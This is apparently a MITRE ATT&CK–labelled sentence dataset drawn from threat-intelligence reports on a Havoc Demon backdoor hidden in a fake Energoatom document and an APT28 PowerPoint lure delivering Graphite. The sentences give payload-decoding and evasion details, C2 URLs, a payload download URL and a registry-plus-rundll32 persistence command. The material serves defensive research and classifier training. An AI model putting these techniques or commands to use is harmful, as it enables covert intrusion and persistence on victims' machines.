{"sentence": "Figure 3 Code with anti-debugging and image deletion As seen in Figure 3, seemingly random nonsensical comments are also added to the VBA code.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "This malware then checks if a hardcoded path, “C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\OfficeTelemetry.dll”, exists in the system.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "As discussed later, this is the same file path where the payload would be written.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "This strange implementation detail makes us think this may be a work in progress and could be a test sample created for a threat campaign that will soon be launched.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The file at the abovementioned path is executed if it exists.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Otherwise, the code extracts the payload that is cleverly stored as a node named “TwXfx” in a custom XML part of the document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Custom XML parts is a feature that was introduced with Office Open XML format.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It is used for storing arbitrary data that the document could programmatically access.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "To get to the payload data, it starts by enumerating all the custom XML part objects in the document and then checking if they have a node named “TwXfx”.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "That node contains the encoded payload.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Below is a screenshot of the encoded payload stored in “customXml\\item1.xml” of the document archive (Figure 4).", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 4: Encoded binary payload Although the payload in this document is stored in a single node, the VBA code also supports an encoded payload split across several nodes, further complicating its extraction.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In fact, before assuming that the data is stored in a single node, it first checks to determine whether it is stored in several nodes.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It does this by trying to find the node name, in this case, “TwXfx”, with an appended index, i.e., “TwXfx_0”.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "If the node exists, it moves on to find the next one by incrementing the index (i.e., TwXfx_1).", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It repeats this until it fails to find a node, which means it has reached the end of the payload.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Once a node is found, the content of the node is read, and its XML tags are removed.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Furthermore, if a string “__b_” is found at the beginning of the data, it is also removed.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Similar to decoding strings, the binary payload is extracted by decoding the data using Base64 and adding 35.", "labels": ["T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Only this time, the resulting bytes are further decoded with xor 82.", "labels": ["T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The decoded payload is a 64-bit executable (.exe).", "labels": ["T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The storage of a payload binary as a custom XML part of the document is a technique very similar to what’s presented in this blog from the website mgeeky.tech.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Even on the code level, there are striking similarities between the code used by the malicious document and what’s presented in that blog.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The website author offers a private tool that provides similar capabilities.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Still, the creator of this malicious document could have easily replicated the technique from the publicly available PoC linked in the blog.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 5 shows one of the several code similarities observed in the function for locating the payload node in the document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 5: Comparison of code in document vs. blog Once the payload is decoded, it is written to the hardcoded path “C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\OfficeTelemetry.dll” and executed using ShellExecute with the following command line:", "labels": ["T1059.003", "T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "C:\\Windows\\System32\\conhost.exe --headless \"C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\OfficeTelemetry.dll\" \"” This eventually leads to the execution of a Havoc Demon agent, as discussed in the next section.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Payload Analysis Stage 1: OfficeTelemetry.dll Based on the filename of the payload binary, it tries to masquerade as a legitimate component of Microsoft Office.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It is even signed with an invalid portal.office.com certificate (Figure 6).", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 6: Fake portal.office.com code signing certificate While this file has a DLL extension and contains multiple exports (Figure 7), it is a standalone EXE file.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 7: Functions exported by OfficeTelemetry.dll Upon execution, it locates a packed and compressed payload in the .vdata section (Figure 8) of the memory allocated for the current process.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 8: Encrypted and compressed payload in .vdata section", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The payload storage is structured as follows:", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "1. Offset 0x0: Magic (8 bytes) 2. Offset 0x8: Encrypted flag (0 = not encrypted, 3 = RC4 encryption)", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "3. Offset 0x9: Compression flag (0 = not compressed, 3 = LZNT1 compression) 4. Offset 0xa: RC4 key (64 bytes) 5. 0ffset 0x4a:", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Compressed size (4 bytes) 6. Offset 0x4e: Uncompressed size (4 bytes) 7. Offset 0x52: Loader configuration string length (2 bytes) 8. Offset 0x154: Start of encrypted and compressed loader configuration and payload After decrypting and decompressing the payload, we see a pipe-delimited configuration followed by the actual shellcode to be executed (Figure 9).", "labels": ["T1027", "T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 9: Decrypted and decompressed payload The loader configuration format is as follows: Field 1: Injection type: Current process (1) or in the new process (2) Field 2: Flag to wait for injection thread to terminate before terminating loader (injection type 1 only)", "labels": ["T1055", "T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Field 3: Process to inject into (injection type 2 only)", "labels": ["T1055"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Field 4: Process to inject into (injection type 2 only)", "labels": ["T1055"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Field 5: Flag to write empty file to %TEMP% upon successful injection Field 6: Wait timeout used for Windows events within the code Field 7: Unknown flag used (injection type 1 only) Field 8: Flag to enable sleep obfuscation after creating an injected thread (injection type 1 only) Field 9: Flag to enable sleep obfuscation via a separate thread Field 10: Flag to enable sleep obfuscation Field 11: Flag to patch APIs After parsing the configuration, this loader prepends a stub containing 79 bytes of junk instructions before the actual payload shellcode.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The bytes at 25 hardcoded offsets within this stub are replaced with random bytes to hinder shellcode detection.", "labels": ["T1027"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It first ensures that a file within the %TEMP% does not exist before attempting to launch the payload.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The name of this file is derived from a value computed from hour / 3 + year + month + day of the current time.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Hence, the payload will only be executed up to 8 times per day.", "labels": ["T1055"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "To launch the shellcode, the loader calls ZwCreateThreadEx to create a new suspended injection thread hidden from debuggers using the THREAD_CREATE_FLAGS_CREATE_SUSPENDED (0x01) and THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER (0x4) thread creation flags.", "labels": ["T1055"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "By removing the THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER flag before the ZwCreateThreadEx call and using memory breakpoints, the shellcode can be debugged in the usual manner when the thread resumes execution.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "While not enabled in this sample, the loader also supports sleep obfuscation to hinder detection by memory scanners.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It does this by redirecting calls to the Windows Sleep API to its own function that performs the following: 1. Suspends all threads in the current process", "labels": ["T1106"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Reverts the patched Sleep API code bytes 3.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Reverts patches to security APIs (only if patching was configured) 4. Encodes sensitive memory regions in the current process with a randomized XOR key 5. Calls Sleep with the specified timeout 6.", "labels": ["T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Decodes sensitive memory regions in the current process with the same XOR key 7. Patches security-related APIs to disable them 8.", "labels": ["T1140"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Patches Sleep to redirect to this function again 9. Resumes all threads in the current process", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The patched APIs are: WldpQueryDynamicCodeTrust in wldp.dll AmsiScanBuffer in amsi.dll EtwEventWrite in ntdll.dll Interestingly, well-known Cobalt Strike configuration field names (Figure 10) are also found in plaintext within the sample, possibly to confuse static analysis tools.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Figure 10: Cobalt Strike configuration field strings in sample Stage 2: KaynLdr The second stage consists of a shellcode with a Havoc C2 agent DLL appended to it.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Havoc C2 framework is an open-source post-exploitation toolkit developed by C5pider and comprises the following components: Demon agent: Deployed on infected machines and communicates with configured Teamserver Teamserver: Command & Control (C2) server that manages communications with agents Client: Used by threat actor(s) to connect to a Teamserver for managing and issuing commands to connected agents.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "As the client is not deployed as part of the infection, it will not be discussed further in this article.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The shellcode looks for 0x4d 0x5a and 0x50 0x45 bytes that denote the “MZ\" and “PE” headers of a Windows PE executable file to locate the payload in memory.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It then calls the loader (referred to internally as KaynLdr in the source code)", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "KaynLdr resolves the LdrLoadDll, ZwAllocateVirtualMemory, and NtProtectVirtualMemory Native APIs via API hashing before using them to allocate memory, load the Demon agent payload, and execute it directly from memory.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The relevant API hashes are:", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "LdrLoadDll: 0x9e456a43 NtAllocateVirtualMemory: 0xf783b8ec NtProtectVirtualMemory: 0x50e92888 Stage 3: Havoc Demon agent The DLL loaded by KaynLdr is the Havoc Demon agent, which is analogous to Beacon for the popular Cobalt Strike framework.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The configuration is embedded within the Demon sample.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Demon communicates with the C2 server specified in the configuration via HTTP or HTTPS POST requests.", "labels": ["T1071.001"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "A randomized 256-bit key and 128-bit IV are generated and shared with the C2 server on the initial check-in request (Figure 11) for encrypting subsequent data communicated between the agent and C2 server with AES-256-CTR. Figure 11:", "labels": ["T1573.001"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Check in request data structure The relevant fields in the check-in request are as follows: 1. Size of data package 2. Magic value:", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "0xDE 0xAD 0xBE 0xEF", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "(hardcoded into Havoc) 3. Agent ID 4. Command ID: 0x63 (DEMON_INITIALIZE) 5. 32-byte AES key 6. 16-byte AES IV 7. AES-encrypted data While Demon can be configured to rotate among multiple C2 domains, only one C2 domain, \"ukrtatnafta[.]org\", is specified for this sample.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "This domain is very similar to ukrtatnafta[.]com, owned by Ukrtatnafta, a Ukrainian oil refining company.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "To blend in with legitimate HTTP/HTTPS traffic, Demon randomly picks one of several URIs set in the configuration and applies a specified list of HTTP headers in the requests to the C2.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The Teamserver C2 configuration extracted from this sample can be seen below.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Host: ukrtatnafta[.]org:443 HTTPS: True Proxy enabled: No Method: POST Headers:Content-Type: application/javascript Pragma: public ETag: W/736fh0-3e Last-Modified: Mon, 05 Dec 2016 14:54:50 GMT Server: nginx/1.14.2 Connection: keep-alive Expires: Mon, 06 Mar 2023 13:23:47 GMT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Chrome/108.0.0.0 Safari/537.36 URIs:/wp-content/themes/pressa/js/avias.js /wp-content/themes/pressa/js/mobile_menu.js /wp-content/plugins/contact-form-7/includes/js/scripts.js /wp-content/themes/pressa/js/bootstrap.js /wp-content/themes/pressa/js/hovermenu.js /wp-content/themes/pressa/js/retina-1.1.0.js /wp-content/plugins/js_composer/assets/lib/bower/isotope/dist/isotope.pkgd.min.js /wp-content/themes/pressa/js/custom-script.js /wp-includes/js/wp-emoji-release.min.js /maps-api-v3/api/js/52/1/intl/uk_ALL/util.js /wp-includes/js/wp-embed.min.js The major features of Demon include: Enumerate host and network info (users, groups, domains, shares, etc.)", "labels": ["T1059.003"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Execute commands via Command Prompt Execute PowerShell commands Inject and execute DLLs, shellcode, .NET assemblies, Cobalt Strike BOF files Manipulate processes (list, create, search, kill, etc.) Manipulate files and directories (list, download, upload, view, delete, etc.)", "labels": ["T1055", "T1057", "T1059.003", "T1070.004", "T1083", "T1105"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Manipulate access tokens (steal, impersonate, etc.) Take screenshots As this Demon sample was unmodified from the version in Github, we will not analyze it in detail here.", "labels": ["T1113"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Interested readers may refer to the documentation and source code on GitHub.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Conclusion This malware campaign showcases some interesting techniques threat actors use to evade detection and hinder analysis.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Using a combination of such techniques, threat actors may gain sufficient time to complete their post-exploitation commands upon successful infection before they are detected.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Although the document contains some indicators of a potential red-team exercise, e.g., the hardcoded path for persisting the payload on disk and use of a relatively novel payload encoding technique, it is also entirely possible that this could be a campaign under development as many red-team tools have been weaponized recently for malicious purposes.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "As this document delivers a backdoor that will silently provide control over the infected user’s system to a remote operator with unknown intentions, it is safer to err on the side of caution and ensure protections are in place.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The increasing use of open-source offensive security frameworks is a double-edged sword.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "On the one hand, both red and blue teams can benefit from the availability of the source code to better understand how these techniques work, address detection gaps, and improve the cyber resilience of their organizations.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "On the other hand, it enables threat actors to abuse these frameworks to conduct attacks without developing or purchasing custom malware.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Fortinet Protections FortiGuard AntiVirus detects the malicious files identified in this report as VBA/Havoc.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "FGLT!tr W64/Havoc.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "FGLTA!tr.bdr W64/Havoc.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "FGLTB!tr.bdr The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The Fortinet AntiVirus engine is a part of each of those solutions.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "As a result, customers who have these products with up-to-date protections are protected.", "labels": ["T1566.001"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "This type of threats is usually delivered as email attachments.", "labels": ["T1566.001"], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "FortiMail can detect and quarantine the malicious attachments for such campaigns.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Fortinet’s CDR (Content Disarm and Reconstruction) service can neutralize the embedded macros inside the Word document.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "The FortiGuard Web Filtering Service detects the C2 URLs cited in this report as Malicious and blocks them.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "FortiGuard Labs provides Backdoor.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Havoc.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Agent IPS signature to block Havoc C2 network communications.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "Due to the ease of disruption, damage to daily operations, potential impact to an organization's reputation, and the unwanted destruction or release of PII, etc., it is important to keep all AV and IPS signatures up to date.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "We also suggest that organizations have their end users undergo our free NSE training: NSE 1 – Information Security Awareness.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "It includes a module on internet threats designed to help end users learn how to identify and protect themselves from various types of phishing attacks.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "If you believe these or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "IOCs File Hashes b773fa65bb375e6fe6d387f301f6bf33219189ea1d4a06762e965a9eba7de4e8 17637fac7f989549acd248ca9e5293d2b9a1a2e4bb0f7e4edf5571df35129f0c 9f797d705facebd1687b7765cbf65231e71821eb3c38dcc171a3fc88b9f52328 b6cb8a7cdce0bfd3a7402d22fb0014dedb259d6c91c1538ac74097b8ca22ca5c C2 URLs hxxps://ukrtatnafta[.]org hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/avias.js hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/mobile_menu.js hxxps://ukrtatnafta[.]org/wp-content/plugins/contact-form-7/includes/js/scripts.js hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/bootstrap.js hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/hovermenu.js hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/retina-1.1.0.js hxxps://ukrtatnafta[.]org/wp-content/plugins/js_composer/assets/lib/bower/isotope/dist/isotope.pkgd.min.js hxxps://ukrtatnafta[.]org/wp-content/themes/pressa/js/custom-script.js hxxps://ukrtatnafta[.]org/wp-includes/js/wp-emoji-release.min.js hxxps://ukrtatnafta[.]org/maps-api-v3/api/js/52/1/intl/uk_ALL/util.js hxxps://ukrtatnafta[.]org/wp-includes/js/wp-embed.min.js", "labels": [], "doc_title": "Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor"}
{"sentence": "In the footsteps of the Fancy Bear: PowerPoint mouse-over event abused to deliver Graphite implants url: https://blog.cluster25.duskrise.com/2022/09/23/in-the-footsteps-of-the-fancy-bear-powerpoint-graphite/ By Cluster25 Threat Intel Team September 23, 2022", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Cluster25 researchers collected and analyzed a lure document used to implant a variant of Graphite malware, uniquely linked to the threat actor known as APT28 (aka Fancy Bear, TSAR Team).", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "This is a threat group attributed to Russia’s Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The lure document is a PowerPoint file that exploits a code execution technique, which is designed to be triggered when the user starts the presentation mode and moves the mouse.", "labels": ["T1204.002"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The code execution runs a PowerShell script that downloads and executes a dropper from OneDrive.", "labels": ["T1105"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The latter downloads a payload that extracts and injects in itself a new PE (Portable Executable) file, that the analysis showed to be a variant of a malware family known as Graphite, that uses the Microsoft Graph API and OneDrive for C&C communications.", "labels": ["T1055", "T1105", "T1106"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "INSIGHTS", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "According to lure document metadata, attackers used a template potentially linked to The Organisation for Economic Co-operation and Development (OECD).", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "This organization works together with governments, policy makers and citizens in order to establish evidence-based international standards and finding solutions to a range of social, economic and environmental challenges.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "This is a PowerPoint file (PPT) containing two slides with the same content, the first one written in English and the second in French.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The document shows instructions about the use of the Interpretation option available in Zoom.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Lure document content This PowerPoint exploits a code execution technique that is triggered by using Hyperlinks instead of Run Program / Macro, which is designed to be triggered when the user starts the presentation mode and moves the mouse.", "labels": ["T1204.002"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The code that is executed is a PowerShell script shown below, which is run through the utility SyncAppvPublishingServer, and performs the download of a file from OneDrive with a JPEG extension (DSC0002.jpeg).", "labels": ["T1105"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "This in turn is a DLL file that is later decrypted and written to the local path C:\\ProgramData\\lmapi2.dll.", "labels": ["T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "PowerShell Script The full URL used to download the DLL is reported below: URL https[:]\\\\9b5uja[.]am[.]files[.]1drv[.]com/y4mpYJ245I931DUGr7BV-dwLD7SReTqFr1N7eQOKSH_ug2G18Jd6i3SRqYqgugj3FA2JQQ7JqclvWH13Br3B5Ux-F6QcqADr-FowC_9PZi1Aj7uckcK8Uix_7ja1tF6C_8-5xYgm6zwjbXsrlEcTEenAyA8BzEaGPudutl1wMDkzVr6Wmn8_qRmYejLgbNoQmPTUe3P5NKFFLRjeeU_JhvA/DSC0002.jpeg?download", "labels": ["T1112"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The execution triggers the setting of the following registry key with the value C:\\ProgramData\\lmapi2.dll to achieve persistence.", "labels": ["T1112"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "REG KEY HKCU\\Software\\Classes\\CLSID\\{2735412E-7F64-5B0F-8F00-5D77AFBE261E}\\InProcServer32 and the execution of the downloaded DLL via the tool", "labels": ["T1218.011"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "rundll32.exe.", "labels": ["T1218.011"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The following syntax is responsible to perform the whole set of operations: COMMAND /c reg ADD HKCU\\Software\\Classes\\CLSID\\{2735412E-7F64-5B0F-8F00-5D77AFBE261E}\\InProcServer32 /tREG_SZ /d", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "C:\\ProgramData\\lmapi2.dll /ve /f /reg:64 && rundll32.exe", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
